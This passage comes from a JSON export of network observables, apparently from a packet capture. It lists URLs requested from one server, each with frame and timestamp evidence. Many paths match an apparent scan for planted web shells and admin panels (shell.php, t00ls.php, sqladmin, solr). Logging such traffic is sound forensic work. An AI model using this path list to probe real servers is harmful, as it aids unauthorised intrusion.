        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256430.849266000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/pwd/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2280,
            "display_filter": "frame.number == 2280",
            "timestamp_epoch": "1577256399.260549000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-64ba5cefa9a6d274fb4c64be",
        "last_seen_epoch": "1577256399.260549000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256399.260549000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/python.php",
        "evidence": [
          {
            "tcp_stream": 9,
            "frame_number": 462,
            "display_filter": "frame.number == 462",
            "timestamp_epoch": "1577255515.132165000"
          },
          {
            "tcp_stream": 40,
            "frame_number": 1323,
            "display_filter": "frame.number == 1323",
            "timestamp_epoch": "1577255933.790321000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-26953128989f099f389a725f",
        "last_seen_epoch": "1577255933.790321000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255515.132165000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/q.php",
        "evidence": [
          {
            "tcp_stream": 32,
            "frame_number": 1146,
            "display_filter": "frame.number == 1146",
            "timestamp_epoch": "1577255831.430593000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1218,
            "display_filter": "frame.number == 1218",
            "timestamp_epoch": "1577255876.668859000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4839361e7ae1ea461e24cc8f",
        "last_seen_epoch": "1577255876.668859000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255831.430593000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qa.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1559,
            "display_filter": "frame.number == 1559",
            "timestamp_epoch": "1577256079.157832000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5b6efe95bf8631adee2ba06c",
        "last_seen_epoch": "1577256079.157832000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256079.157832000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qaq.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 585,
            "display_filter": "frame.number == 585",
            "timestamp_epoch": "1577255613.561890000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-60e6f4d0dd23f6b0faa4630a",
        "last_seen_epoch": "1577255613.561890000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255613.561890000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qaz.php",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1513,
            "display_filter": "frame.number == 1513",
            "timestamp_epoch": "1577256066.046211000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a0e61824c06fc5ec27bd63bd",
        "last_seen_epoch": "1577256066.046211000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256066.046211000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qiqi.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 789,
            "display_filter": "frame.number == 789",
            "timestamp_epoch": "1577255705.787591000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8a7164153dd7a169c83807e0",
        "last_seen_epoch": "1577255705.787591000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255705.787591000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qiqi1.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 793,
            "display_filter": "frame.number == 793",
            "timestamp_epoch": "1577255706.365075000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3d6b7fa37e05f33e4145f7e1",
        "last_seen_epoch": "1577255706.365075000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255706.365075000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qq.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 591,
            "display_filter": "frame.number == 591",
            "timestamp_epoch": "1577255614.119116000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 924,
            "display_filter": "frame.number == 924",
            "timestamp_epoch": "1577255774.767048000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 1090,
            "display_filter": "frame.number == 1090",
            "timestamp_epoch": "1577255814.023132000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1246,
            "display_filter": "frame.number == 1246",
            "timestamp_epoch": "1577255886.969399000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1751,
            "display_filter": "frame.number == 1751",
            "timestamp_epoch": "1577256162.146081000"
          },
          {
            "tcp_stream": 64,
            "frame_number": 1929,
            "display_filter": "frame.number == 1929",
            "timestamp_epoch": "1577256245.178080000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-df3e0f32ce5951f0acfc2d89",
        "last_seen_epoch": "1577256245.178080000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255614.119116000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qq5262.php",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1793,
            "display_filter": "frame.number == 1793",
            "timestamp_epoch": "1577256189.061901000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7332ded37a738fec5348f952",
        "last_seen_epoch": "1577256189.061901000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256189.061901000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qwe.php",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1275,
            "display_filter": "frame.number == 1275",
            "timestamp_epoch": "1577255905.651054000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1772e419786ebd339a3e6ae2",
        "last_seen_epoch": "1577255905.651054000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255905.651054000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qwq.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 720,
            "display_filter": "frame.number == 720",
            "timestamp_epoch": "1577255674.305779000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1699,
            "display_filter": "frame.number == 1699",
            "timestamp_epoch": "1577256138.994329000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e0a96760005fbb699b0bfab8",
        "last_seen_epoch": "1577256138.994329000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255674.305779000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/qwqw.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1702,
            "display_filter": "frame.number == 1702",
            "timestamp_epoch": "1577256139.261556000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-50a70e243b0624f6ac42d972",
        "last_seen_epoch": "1577256139.261556000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256139.261556000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/repeat.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1610,
            "display_filter": "frame.number == 1610",
            "timestamp_epoch": "1577256095.609398000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-84a8932cca03302f7fb23ce5",
        "last_seen_epoch": "1577256095.609398000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256095.609398000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/robots.txt",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 15,
            "display_filter": "frame.number == 15",
            "timestamp_epoch": "1577255332.482403000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5a11f09e1c77223aadab7ad8",
        "last_seen_epoch": "1577255332.482403000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255332.482403000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/root.php",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 535,
            "display_filter": "frame.number == 535",
            "timestamp_epoch": "1577255591.048310000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-732292d5daf6c2ee3c86dd90",
        "last_seen_epoch": "1577255591.048310000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255591.048310000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/root11.php",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 541,
            "display_filter": "frame.number == 541",
            "timestamp_epoch": "1577255591.604107000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-862d128f311bf44144fd4dbe",
        "last_seen_epoch": "1577255591.604107000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255591.604107000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/rrr.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 770,
            "display_filter": "frame.number == 770",
            "timestamp_epoch": "1577255690.404894000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4fd3e6e91419f5667a86de14",
        "last_seen_epoch": "1577255690.404894000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255690.404894000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ruyi.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1595,
            "display_filter": "frame.number == 1595",
            "timestamp_epoch": "1577256089.688554000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-803d029ce7556d8316fb6279",
        "last_seen_epoch": "1577256089.688554000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256089.688554000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/rxr.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 305,
            "display_filter": "frame.number == 305",
            "timestamp_epoch": "1577255411.823780000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-12d5d6470f5a7f1f802ce80d",
        "last_seen_epoch": "1577255411.823780000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255411.823780000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/s.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 575,
            "display_filter": "frame.number == 575",
            "timestamp_epoch": "1577255608.779678000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4de50e163a2158e7d3087f71",
        "last_seen_epoch": "1577255608.779678000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255608.779678000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/s/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2267,
            "display_filter": "frame.number == 2267",
            "timestamp_epoch": "1577256394.764646000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1a590bbe4693ef9a06b6d616",
        "last_seen_epoch": "1577256394.764646000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256394.764646000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/s1.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1620,
            "display_filter": "frame.number == 1620",
            "timestamp_epoch": "1577256097.780303000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0edfb6966bcb183826afc202",
        "last_seen_epoch": "1577256097.780303000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256097.780303000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sane.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 130,
            "display_filter": "frame.number == 130",
            "timestamp_epoch": "1577255373.008670000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-52d7328f339faaa35acecd04",
        "last_seen_epoch": "1577255373.008670000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255373.008670000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sbb/index.php",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2349,
            "display_filter": "frame.number == 2349",
            "timestamp_epoch": "1577256426.100896000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c416b814dbae1985e7d281d4",
        "last_seen_epoch": "1577256426.100896000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256426.100896000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sconfig.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 969,
            "display_filter": "frame.number == 969",
            "timestamp_epoch": "1577255786.262514000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a137f683b7e1e0c2222fe221",
        "last_seen_epoch": "1577255786.262514000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255786.262514000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/scripts/db___.init.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 221,
            "display_filter": "frame.number == 221",
            "timestamp_epoch": "1577255399.237692000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d439e8c8346bf63dea0a80a9",
        "last_seen_epoch": "1577255399.237692000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255399.237692000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/scripts/setup.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 211,
            "display_filter": "frame.number == 211",
            "timestamp_epoch": "1577255397.889886000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4144e5f8dfa61f98ed75e514",
        "last_seen_epoch": "1577255397.889886000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255397.889886000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sean.php",
        "evidence": [
          {
            "tcp_stream": 42,
            "frame_number": 1336,
            "display_filter": "frame.number == 1336",
            "timestamp_epoch": "1577255951.060487000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-af75a971fcd1bedbea4691a6",
        "last_seen_epoch": "1577255951.060487000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255951.060487000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/secure/ContactAdministrators!default.jspa",
        "evidence": [
          {
            "tcp_stream": 68,
            "frame_number": 2031,
            "display_filter": "frame.number == 2031",
            "timestamp_epoch": "1577256304.170811000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4b05ac13cba210086d7ccf15",
        "last_seen_epoch": "1577256304.170811000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256304.170811000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/settings.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1021,
            "display_filter": "frame.number == 1021",
            "timestamp_epoch": "1577255798.954637000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8c55d039e52513228e951b1c",
        "last_seen_epoch": "1577255798.954637000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255798.954637000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sha.php",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1517,
            "display_filter": "frame.number == 1517",
            "timestamp_epoch": "1577256067.032303000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-de31b3032bf489dfe29f8746",
        "last_seen_epoch": "1577256067.032303000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256067.032303000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/shaAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2258,
            "display_filter": "frame.number == 2258",
            "timestamp_epoch": "1577256391.377653000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0e3fb27f5897ac174aea9f8b",
        "last_seen_epoch": "1577256391.377653000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256391.377653000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/she.php",
        "evidence": [
          {
            "tcp_stream": 46,
            "frame_number": 1431,
            "display_filter": "frame.number == 1431",
            "timestamp_epoch": "1577256009.702331000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-45939509e60ee95af7d43075",
        "last_seen_epoch": "1577256009.702331000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256009.702331000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sheep.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 581,
            "display_filter": "frame.number == 581",
            "timestamp_epoch": "1577255610.604642000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2e931cbc52ddebab2c8f2aff",
        "last_seen_epoch": "1577255610.604642000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255610.604642000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/shell.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 121,
            "display_filter": "frame.number == 121",
            "timestamp_epoch": "1577255372.204598000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 205,
            "display_filter": "frame.number == 205",
            "timestamp_epoch": "1577255396.615418000"
          },
          {
            "tcp_stream": 28,
            "frame_number": 893,
            "display_filter": "frame.number == 893",
            "timestamp_epoch": "1577255760.141708000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 981,
            "display_filter": "frame.number == 981",
            "timestamp_epoch": "1577255787.908929000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-95c8736034cd7ae1316998b4",
        "last_seen_epoch": "1577255787.908929000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255372.204598000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/shh.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 762,
            "display_filter": "frame.number == 762",
            "timestamp_epoch": "1577255685.187737000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5a78ff49b4d94d31f8f24446",
        "last_seen_epoch": "1577255685.187737000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255685.187737000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/shopdb/index.php",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2368,
            "display_filter": "frame.number == 2368",
            "timestamp_epoch": "1577256432.060527000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6886b286644eaa3e58d995ec",
        "last_seen_epoch": "1577256432.060527000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256432.060527000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Skri.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1072,
            "display_filter": "frame.number == 1072",
            "timestamp_epoch": "1577255810.352728000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-66fe753524c29ba7f777eaf3",
        "last_seen_epoch": "1577255810.352728000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255810.352728000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sllolx.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1069,
            "display_filter": "frame.number == 1069",
            "timestamp_epoch": "1577255810.073201000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5c56abf45279d4eab04a661e",
        "last_seen_epoch": "1577255810.073201000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255810.073201000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/solr/",
        "evidence": [
          {
            "tcp_stream": 68,
            "frame_number": 2038,
            "display_filter": "frame.number == 2038",
            "timestamp_epoch": "1577256305.855285000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e62dfdf38a4003b017b55e50",
        "last_seen_epoch": "1577256305.855285000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256305.855285000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/spider.php",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 326,
            "display_filter": "frame.number == 326",
            "timestamp_epoch": "1577255434.247442000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6067d31f2e4fdefd10370852",
        "last_seen_epoch": "1577255434.247442000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255434.247442000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sql.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1011,
            "display_filter": "frame.number == 1011",
            "timestamp_epoch": "1577255797.549583000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-62137ed2d894c011b21af47b",
        "last_seen_epoch": "1577255797.549583000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255797.549583000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sql/index.php",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2408,
            "display_filter": "frame.number == 2408",
            "timestamp_epoch": "1577256449.910199000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-486b062b0edc8cb41ef0f5ca",
        "last_seen_epoch": "1577256449.910199000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256449.910199000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/SQL/index.php",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2411,
            "display_filter": "frame.number == 2411",
            "timestamp_epoch": "1577256450.178566000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7d93910be4580ee31e01ac55",
        "last_seen_epoch": "1577256450.178566000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256450.178566000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sqladmin/index.php",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2405,
            "display_filter": "frame.number == 2405",
            "timestamp_epoch": "1577256449.639041000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-786c7d478cd88bafe2642d8a",
        "last_seen_epoch": "1577256449.639041000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256449.639041000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ss.php",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1482,
            "display_filter": "frame.number == 1482",
            "timestamp_epoch": "1577256047.060257000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1485,
            "display_filter": "frame.number == 1485",
            "timestamp_epoch": "1577256047.336837000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-06d31c18edc95b34e26c71a8",
        "last_seen_epoch": "1577256047.336837000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256047.060257000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Ss.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1562,
            "display_filter": "frame.number == 1562",
            "timestamp_epoch": "1577256081.604561000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-dc795365aa1c32e978dff974",
        "last_seen_epoch": "1577256081.604561000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256081.604561000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ssaa.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1240,
            "display_filter": "frame.number == 1240",
            "timestamp_epoch": "1577255886.435732000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1243,
            "display_filter": "frame.number == 1243",
            "timestamp_epoch": "1577255886.702643000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a039d26c496673ea299ea85f",
        "last_seen_epoch": "1577255886.702643000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255886.435732000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sss.php",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1476,
            "display_filter": "frame.number == 1476",
            "timestamp_epoch": "1577256045.901156000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1488,
            "display_filter": "frame.number == 1488",
            "timestamp_epoch": "1577256049.605093000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4402f9e9420dc93ce7f8c7e1",
        "last_seen_epoch": "1577256049.605093000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256045.901156000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/super.php",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1848,
            "display_filter": "frame.number == 1848",
            "timestamp_epoch": "1577256204.114340000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7303e043ea3aeefaf3a2668d",
        "last_seen_epoch": "1577256204.114340000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256204.114340000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/system.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1024,
            "display_filter": "frame.number == 1024",
            "timestamp_epoch": "1577255802.709185000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1206,
            "display_filter": "frame.number == 1206",
            "timestamp_epoch": "1577255872.119861000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-047024c1ae4d53437f443503",
        "last_seen_epoch": "1577255872.119861000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255802.709185000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/sz.php",
        "evidence": [
          {
            "tcp_stream": 33,
            "frame_number": 1163,
            "display_filter": "frame.number == 1163",
            "timestamp_epoch": "1577255832.619109000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-205bb707266cb4b15023a0ce",
        "last_seen_epoch": "1577255832.619109000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255832.619109000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/t00ls.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 960,
            "display_filter": "frame.number == 960",
            "timestamp_epoch": "1577255783.117576000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c5fd03b39b287cfa9c550e48",
        "last_seen_epoch": "1577255783.117576000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255783.117576000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/t6nv.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 159,
            "display_filter": "frame.number == 159",
            "timestamp_epoch": "1577255387.153369000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ff4cef2f257634bbc9928103",
        "last_seen_epoch": "1577255387.153369000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255387.153369000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/taisui.php",
        "evidence": [
          {
            "tcp_stream": 12,
            "frame_number": 484,
            "display_filter": "frame.number == 484",
            "timestamp_epoch": "1577255524.481795000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-954021d472dd745d4b0b632d",
        "last_seen_epoch": "1577255524.481795000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255524.481795000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/test.php",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 31,
            "display_filter": "frame.number == 31",
            "timestamp_epoch": "1577255334.310821000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 92,
            "display_filter": "frame.number == 92",
            "timestamp_epoch": "1577255368.816147000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 990,
            "display_filter": "frame.number == 990",
            "timestamp_epoch": "1577255789.986358000"
          },
          {
            "tcp_stream": 39,
            "frame_number": 1303,
            "display_filter": "frame.number == 1303",
            "timestamp_epoch": "1577255919.106292000"
          },
          {
            "tcp_stream": 49,
            "frame_number": 1448,
            "display_filter": "frame.number == 1448",
            "timestamp_epoch": "1577256033.847521000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c013b450ce251e0adeaf582b",
        "last_seen_epoch": "1577256033.847521000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255334.310821000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/test123.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1027,
            "display_filter": "frame.number == 1027",
            "timestamp_epoch": "1577255802.994536000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-973c1939e5a2fd80bb536472",
        "last_seen_epoch": "1577255802.994536000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255802.994536000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
